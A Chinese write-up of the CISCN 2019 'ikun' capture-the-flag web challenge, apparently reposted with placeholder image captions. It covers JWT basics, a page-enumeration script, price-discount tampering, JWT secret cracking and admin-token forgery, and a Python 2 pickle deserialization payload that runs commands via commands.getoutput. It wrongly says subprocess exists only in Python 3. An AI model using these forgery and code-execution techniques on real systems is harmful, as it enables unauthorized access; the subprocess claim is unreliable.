通过上一篇的内容相信你对pickle反序列化有一定的了解了,但是不落实到题目上总归不知道如何下手,所以我这里用19年华北赛区的国赛题说一下,在做这个题目前我们先简单了解一下JWT,JWT这玩意儿做题目做的多的话也经常在http请求包中能发现它的身影,那么它是什么,由什么构成,有什么作用呢?为了解题,我简单说一下,如果了解JWT的请跳过这一部分。

JWT

基本介绍

JWT全称为:JSON Web Token,它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。

JWT是token的一种具体实现方法,那么token又是什么?token其实也是身份验证的一种方法,即客户端输入账号密码,服务器会发送账号密码确认信息以及token认证,防止第二次账号密码的改动,这种和前面讲的session很像,但它们具有本质区别,因为session需要存储在服务器上,token是不需要的,而JWT就是token认证的一种具体实现方法。

所以我们也能知道JWT会用在什么地方了吧?授权需要认证,信息交互也能用到认证。

基本格式

JSON Web Token总共由三部分组成,它们之间使用 点(.)连接。

这三部依次为:Header、Payload、Signature。

所以JWT的一个标准的格式为:xxxx.yyyy.zzzz

①Header中的内容包括两个,一个是token的类型 例如JWT,还有一个是算法的类型 例如SHA256等等。如下:

python 获取head参数_运维

然后用Base64对这个JSON编码就得到JWT的第一部分。

②Payload是我们需要验证的信息例如:

python 获取head参数_python 获取head参数_02

和Header头一样,也是经过base64得到第二部分。

③签名部分,与php中Phar文件的签名作用相同,将Header与Payload在用一个密匙进行加密得到签名。

例如:

HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

大概讲这么多,供初次碰到JWT的朋友了解,如果想要深究的可以看我打链接的这篇,我也是参考这个师傅文章写的。

[CISCN2019 华北赛区 Day1 Web2]ikun

19年的国赛,cxk打球被黑的那一年,还挺顺应潮流,一起看看这个题目吧!!

找Lv6

python 获取head参数_运维_03

 首先可以确定我们需要购买一个Lv6等级的号,但是复现我们无法点击下一页(应该是搬运过来题目出了点小问题)。

python 获取head参数_反序列化_04

第二页链接如上,太多了一个一个找太麻烦了,所以我简单测试了一下页面总共有500页,所以我们在1-500中找一个特殊的帐号---Lv6 

python 获取head参数_python_05

Lv4如上,那么Lv6可以依次类推,所以我们做一个简单的python脚本跑一下 

import requests

s = 'http://92d0366f-fafb-4045-858e-cb978e121f9e.node4.buuoj.cn:81/shop?page='
for i in range(1,500):
    url=s+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url)

python 获取head参数_python 获取head参数_06

python 获取head参数_反序列化_07

账号里的钱不够买这个,抓个包看看。

 

python 获取head参数_运维_08

有一个price的值和一个discount的值,修改price会报错,而discount可以操作,所以我们让它的折扣打的越小越好 

python 获取head参数_服务器_09

然后有东西出来了,是一个目录,访问一下

python 获取head参数_python 获取head参数_10

既然需要admin,我们就利用到开始引入的JWT伪造。

JWT伪造 

JWT进行信息验证,我们可以在bp抓的包中看到,将其放在网站解析看看

python 获取head参数_python 获取head参数_11

用户123是我注册时候的用户名,尝试修改123为admin,最后我们还有一点需要注意,就是签名需要的密匙从哪里弄?需要利用到一个工具c-jwt-cracker 把JWT放进去能爆出密匙,下载请参考GitHub中的教程。

python 获取head参数_反序列化_12

密匙为1Kun,我们把这个放入伪造JWT的网站中

python 获取head参数_运维_13

 

python 获取head参数_服务器_14

源码出来了,前摇有点长忍耐一下,Python反序列化就在下面。

Python反序列化 

直接找能序列化和反序列化的文件即导了pickle的包

python 获取head参数_python_15

有一个反序列化,但是中间还卡了一个url编码的函数,所以我们要把构造好的payload用quote编码后输送进去。

become是入口,直接反序列化

import pickle
import urllib

class errorr0(object):
    def __reduce__(self):
		return ***

a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

最重要的就是return 这里了,这里我们可以进行一些操作,读文件查找一些敏感信息,因为题目没有过滤,所以我们可以肆意导包,如os、command等等,最后一步怎么进行命令执行?

这里介绍我了解的三个可以命令执行的包

os模块

os.system()

这是一个我觉得很鸡肋的命令执行,因为它无回显,什么都不能做,除了能执行命令成功以外没有什么用,当然如果能用bash反弹shell其实也还是可以。

python 获取head参数_python 获取head参数_16

os.popen()

这个命令相较与上一个更好一些,因为它可读,括号中放命令,但是得通过read()读取其中的内容

 

python 获取head参数_python 获取head参数_17

 

commands模块

getoutput : 获取执行命令后的返回信息

getstatus :获取执行命令的状态值(执行命令成功返回数值0,否则返回非0)

getstatusoutput :获取执行命令的状态值以及返回信息

commands.getoutput是最常用的,也是我感觉最好用的,不过仅限python2,在python3中这玩意儿被驱逐出去了,用了另外一个库代替它-----subprocess。

subprocess模块

subprocess也能使用getoutput对象,它还有许多其它的骚操作,具体详情请看这篇文章。

当然由于这个模块只存在于Python3所以这个题目我们无法导入。

既然如此我们便可以开始继续做题目了,通过commands模块,我们可以命令执行,查找flag所在位置,并且读取它。

import pickle
import urllib
import commands

class errorr0(object):
    def __reduce__(self):
		return (commands.getoutput,("ls /",))

a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

python 获取head参数_python 获取head参数_18

直接cat读它便可以得到flag了

python 获取head参数_运维_19

 

虽然但是,主要是前面套了好几层,后面Python反序列化考的挺简单的适合初学者做一做。